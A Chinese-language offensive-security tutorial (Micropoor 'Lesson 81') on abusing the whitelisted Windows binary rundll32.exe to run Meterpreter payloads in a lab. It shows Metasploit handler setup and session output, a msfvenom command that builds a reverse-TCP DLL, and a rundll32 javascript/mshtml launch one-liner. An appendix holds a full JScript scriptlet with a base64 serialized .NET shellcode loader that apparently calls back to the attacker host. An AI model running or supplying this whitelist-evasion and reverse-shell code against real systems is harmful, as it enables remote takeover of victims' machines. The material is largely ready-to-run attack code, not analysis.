Rundll32.exe是指“执行32位的DLL文件”。它的作用是执行DLL文件中的内部函数,功能就是以命令行的方式调用动态链接程序库。

说明：Rundll32.exe所在路径已被系统添加PATH环境变量中，因此，Wmic命令可识别，需注意x86，x64位的Rundll32调用。

Windows 2003 默认位置：

Windows 7 默认位置： 

  2. C:\Windows\SysWOW64\rundll32.exe

攻击机：
192.168.1.4 Debian
靶机：
192.168.1.119 Windows 2003
192.168.1.5 Windows 7

基于远程加载（1）：

  1. msf exploit(multi/handler) > show options 
  3. Module options (exploit/multi/handler):
  5. Name Current Setting Required Description
  6. ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ 
  8. Payload options (windows/meterpreter/reverse_tcp): 
  10. Name Current Setting Required Description
  11. ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
  12. EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
  14. LHOST 192.168.1.4 yes The listen address (an interface may be specified)
  16. LPORT 53 yes The listen port 
  18. Exploit target: 
  20. Id Name
  21. ‐‐ ‐‐‐‐
  22. 0 Wildcard Target 
  24. msf exploit(multi/handler) > exploit 
  26. [*] Started reverse TCP handler on 192.168.1.4:53

注：x64 rundll32.exe
第八十一课：基于白名单Rundll32.exe执行payload第十一季 - 图1

  1. msf exploit(multi/handler) > exploit 
  3. [*] Started reverse TCP handler on 192.168.1.4:53
  4. [*] Sending stage (179779 bytes) to 192.168.1.5
  5. [*] Meterpreter session 57 opened (192.168.1.4:53 ‐> 192.168.1.5:41274)
  6. at 2019‐01‐19 04:13:26 ‐0500
  7. meterpreter > getuid
  8. Server username: John‐PC\John
  9. meterpreter > getpid
  10. Current pid: 7064
  11. meterpreter >

基于本地加载（2）：

payload配置：

  1. msfvenom ‐a x86 ‐‐platform windows ‐p windows/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐f dll > Micropoor_Rundll32.dll

第八十一课：基于白名单Rundll32.exe执行payload第十一季 - 图2

靶机执行：

Windows 2003： 

  1. rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"mstsc\");window.close()");

注：如靶机支持powershell，调用powershell更贴合实战。

第八十一课：基于白名单Rundll32.exe执行payload第十一季 - 图3

附录：Rundll32_shellcode

  1. <?xml version="1.0"?> 
  2. <package>
  3. <component id="Micropoor"> 
  5. <script language="JScript">
  6. <![CDATA[
  7. function setversion() {
  8. }
  9. function debug(s) {}
  10. function base64ToStream(b) {
  11. var enc = new ActiveXObject("System.Text.ASCIIEncoding");
  12. var length = enc.GetByteCount_2(b);
  13. var ba = enc.GetBytes_4(b);
  14. var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
  15. ba = transform.TransformFinalBlock(ba, 0, length);
  16. var ms = new ActiveXObject("System.IO.MemoryStream");
  17. ms.Write(ba, 0, (length / 4) * 3);
  18. ms.Position = 0;
  19. return ms;
  21. var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+
  22. "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+
  24. "ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"+
  25. "AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"+
  26. "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"+
  27. "eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"+
  28. "cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90"+
  29. "aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu"+
  30. "MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"+
  31. "dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA"+
  32. "ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw"+
  33. "B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu"+
  34. "dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA"+
  35. "CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u"+
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  37. "cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR"+
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  40. "bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh"+
  41. "NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz"+
  42. "ZW1ibHkGFwAAAARMb2FkCg8MAAAAABQAAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAA"+
  43. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dy"+
  44. "YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMAVC1CXAAAAAAA"+
  45. "AAAA4AACIQsBCwAADAAAAAYAAAAAAAAOKgAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAAAAAAAQA"+
  46. "AAAAAAAAAIAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAwCkA"+
  47. "AEsAAAAAQAAA0AIAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
  48. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAAAAAAAAA"+
  49. "AAAALnRleHQAAAAUCgAAACAAAAAMAAAAAgAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAA0AIAAABA"+
  50. "AAAABAAAAA4AAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAAAASAAAAAAAAAAAA"+
  51. "AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAPApAAAAAAAASAAAAAIABQBEIgAAfAcAAAMAAAAAAAAA"+
  52. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQgIoBAAACgAA"+
  53. "KAIAAAYAACoAAAAAAAAA/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH"+
  54. "4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiL"+
  55. "WCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/"+
  56. "0LiQAQAAKcRUUGgpgGsA/9VqCmjAqAEEaAIAADWJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/"+
  57. "1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1YP4AH42izZqQGgAEAAAVmoAaFikU+X/1ZNTagBW"+
  58. "U1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8MJA+FcP///+mb////AcMp"+
  59. "xnXBw7vwtaJWagBT/9UAAAATMAYAZQAAAAEAABEAIFUBAACNBgAAASXQAwAABCgGAAAKC
  60. hYGjml+"+"AQAABH4CAAAEKAMAAAYLBhYHbigHAAAKBo5pKAgAAAoAfgkAAAoMFg1+CQAAChMEFhYHEQQWEgMo"+
  61. "BAAABgwIFSgFAAAGJisAKkogABAAAIABAAAEH0CAAgAABCpCU0pCAQABAAAAAAAMAAAAdjQuMC4z"+
  62. "MDMxOQAAAAAFAGwAAABgAgAAI34AAMwCAABkAwAAI1N0cmluZ3MAAAAAMAYAAAgAAAAjVVMAOAYA"+
  63. "ABAAAAAjR1VJRAAAAEgGAAA0AQAAI0Jsb2IAAAAAAAAAAgAAAVfVAjQJAgAAAPolMwAWAAABAAAA"+
  64. "DwAAAAQAAAADAAAABgAAAAwAAAALAAAABAAAAAEAAAABAAAAAQAAAAEAAAADAAAAAQAAAAEAAAAB"+
  65. "AAAAAQAAAAAACgABAAAAAAAGAEsARAAGAFsBPwEGAHcBPwEGAKYBhgEGAMYBhgEGAPcBRAAGAEEC"+
  66. "hgEGAFwCRAAGAJgChgEGAKcCRAAGAK0CRAAGANACRAAGAAID4wIGABQD4wIGAEcDNwMAAAAAAQAA"+
  67. "AAAAAQABAAEAEAAhACkABQABAAEAAAAAAPwBAAAFAAMABwATAQAAZgIAACEABAAHABEAXQASABEA"+
  68. "aAASABMBhAI+AFAgAAAAAIYYUgAKAAEAwCEAAAAAkQBYAA4AAQAAAAAAgACRIH8AFQABAAAAAACA"+
  69. "AJEgjAAdAAUAAAAAAIAAkSCZACgACwAxIgAAAACRGDADDgANAAAAAQCtAAAAAgC5AAAAAwC+AAAA"+
  70. "BADPAAAAAQDZAAAAAgDsAAAAAwD4AAAABAAHAQAABQANAQAABgAdAQAAAQAoAQAAAgAwAREAUgAu"+
  71. "ACEAUgA0ACkAUgAKAAkAUgAKADkAUgAKAEkAwAJCAGEA1wJKAGkACgNPAGEADwNYAHEAUgBkAHkA"+
  72. "UgAKACcAWwA5AC4AEwBpAC4AGwByAGMAKwA5AAgABgCRAAEAVQEAAAQAWwAnAwABBwB/AAEAAAEJ"+
  73. "AIwAAQAAAQsAmQABAGggAAADAASAAAAAAAAAAAAAAAAAAAAAAOQBAAAEAAAAAAAAAAAAAAABADsA"+
  74. "AAAAAAQAAwAAAAA8TW9kdWxlPgB3bWlfY3NfZGxsX3BheWxvYWQuZGxsAFByb2dyYW0AU2hlbGxD"+
  75. "b2RlTGF1bmNoZXIAbXNjb3JsaWIAU3lzdGVtAE9iamVjdAAuY3RvcgBNYWluAE1FTV9DT01NSVQA"+
  76. "UEFHRV9FWEVDVVRFX1JFQURXUklURQBWaXJ0dWFsQWxsb2MAQ3JlYXRlVGhyZWFkAFdhaXRGb3JT"+
  77. "aW5nbGVPYmplY3QAbHBTdGFydEFkZHIAc2l6ZQBmbEFsbG9jYXRpb25UeXBlAGZsUHJvdGVjdABs"+
  78. "cFRocmVhZEF0dHJpYnV0ZXMAZHdTdGFja1NpemUAbHBTdGFydEFkZHJlc3MAcGFyYW0AZHdDcmVh"+
  79. "dGlvbkZsYWdzAGxwVGhyZWFkSWQAaEhhbmRsZQBkd01pbGxpc2Vjb25kcwBTeXN0ZW0uU2VjdXJp"+
  80. "dHkuUGVybWlzc2lvbnMAU2VjdXJpdHlQZXJtaXNzaW9uQXR0cmlidXRlAFNlY3VyaXR5QWN0aW9u"+
  81. "AFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0"+
  82. "dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQB3bWlfY3NfZGxsX3BheWxvYWQA"+
  83. "Qnl0ZQA8UHJpdmF0ZUltcGxlbWVudGF0aW9uRGV0YWlscz57MEQxQTVERjAtRDZCNy00RUUzLUJB"+
  84. "QzItOTY0MUUyREJCMDNFfQBDb21waWxlckdlbmVyYXRlZEF0dHJpYnV0ZQBWYWx1ZVR5cGUAX19T"+
  85. "cGVycwBBcnJheQBSdW50aW1lRmllbGRIYW5kbGUASW5pdGlhbGl6ZUFycmF5AEludFB0cgBvcF9F"+
  87. "RGxsSW1wb3J0QXR0cmlidXRlAGtlcm5lbDMyAC5jY3RvcgBTeXN0ZW0uU2VjdXJpdHkAVW52ZXJp"+
  88. "ZmlhYmxlQ29kZUF0dHJpYnV0ZQAAAAAAAyAAAAAAAPBdGg231uNOusKWQeLbsD4ACLd6XFYZNOCJ"+
  89. "AyAAAQMAAAECBgkHAAQJCQkJCQoABhgJCQkYCRAJBQACCRgJBSABARENBCABAQgEAQAAAAMGERAH"+
  90. "AAIBEikRLQQAARgKCAAEAR0FCBgIAgYYCAcFHQUJGAkYBCABAQ4IAQAIAAAAAAAeAQABAFQCFldy"+
  91. "YXBOb25FeGNlcHRpb25UaHJvd3MBgJ4uAYCEU3lzdGVtLlNlY3VyaXR5LlBlcm1pc3Npb25zLlNl"+
  92. "Y3VyaXR5UGVybWlzc2lvbkF0dHJpYnV0ZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3Vs"+
  93. "dHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5FQFUAhBTa2lwVmVy"+
  94. "aWZpY2F0aW9uAQAAAOgpAAAAAAAAAAAAAP4pAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAADwKQAA"+
  95. "AAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAP8lACAAEAAAAAAAAAAAAAAAAAAAAAAA"+
  96. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
  97. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
  98. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
  99. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
  100. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
  101. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
  102. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
  103. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
  104. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAgAAAAAAAAAAAAAAAAAAA"+
  105. "AQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFhAAAB0AgAAAAAAAAAAAAB0AjQAAABW"+
  106. "AFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAAAAAAAAAAAAAAAAAAA"+
  107. "PwAAAAAAAAAEAAAAAgAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBuAGYAbwAA"+
  108. "AAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAALAE1AEAAAEAUwB0AHIAaQBuAGcA"+
  109. "RgBpAGwAZQBJAG4AZgBvAAAAsAEAAAEAMAAwADAAMAAwADQAYgAwAAAALAACAAEARgBpAGwAZQBE"+
  110. "AGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAACAAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4A"+
  111. "AAAAADAALgAwAC4AMAAuADAAAABQABcAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAHcAbQBp"+
  112. "AF8AYwBzAF8AZABsAGwAXwBwAGEAeQBsAG8AYQBkAC4AZABsAGwAAAAAACgAAgABAEwAZQBnAGEA"+
  113. "bABDAG8AcAB5AHIAaQBnAGgAdAAAACAAAABYABcAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBu"+
  114. "AGEAbQBlAAAAdwBtAGkAXwBjAHMAXwBkAGwAbABfAHAAYQB5AGwAbwBhAGQALgBkAGwAbAAAAAAA"+
  115. "NAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAAADgACAAB"+
  116. "AEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAAAAAAAAA"+
  117. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
  118. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
  119. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
  120. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
  121. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
  122. "AAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAABA6AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
  123. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
  124. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
  125. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
  126. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
  127. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
  128. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
  129. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
  130. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
  131. "AAAAAAAAAAAAAAAAAAAAAAENAAAABAAAAAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3RlbS5SZWZs"+
  132. "ZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0ZVtdKQgAAAAKCwAA";
  133. var entry_class = 'ShellCodeLauncher.Program'; 
  135. try {
  136. setversion();
  137. var stm = base64ToStream(serialized_obj);
  138. var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
  139. var al = new ActiveXObject('System.Collections.ArrayList');
  140. var d = fmt.Deserialize_2(stm);
  141. al.Add(undefined);
  142. var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class); 
  143. } catch (e) {
  144. debug(e.message);
  145. } 
  147. ]]>
  148. </script> 
  150. </package>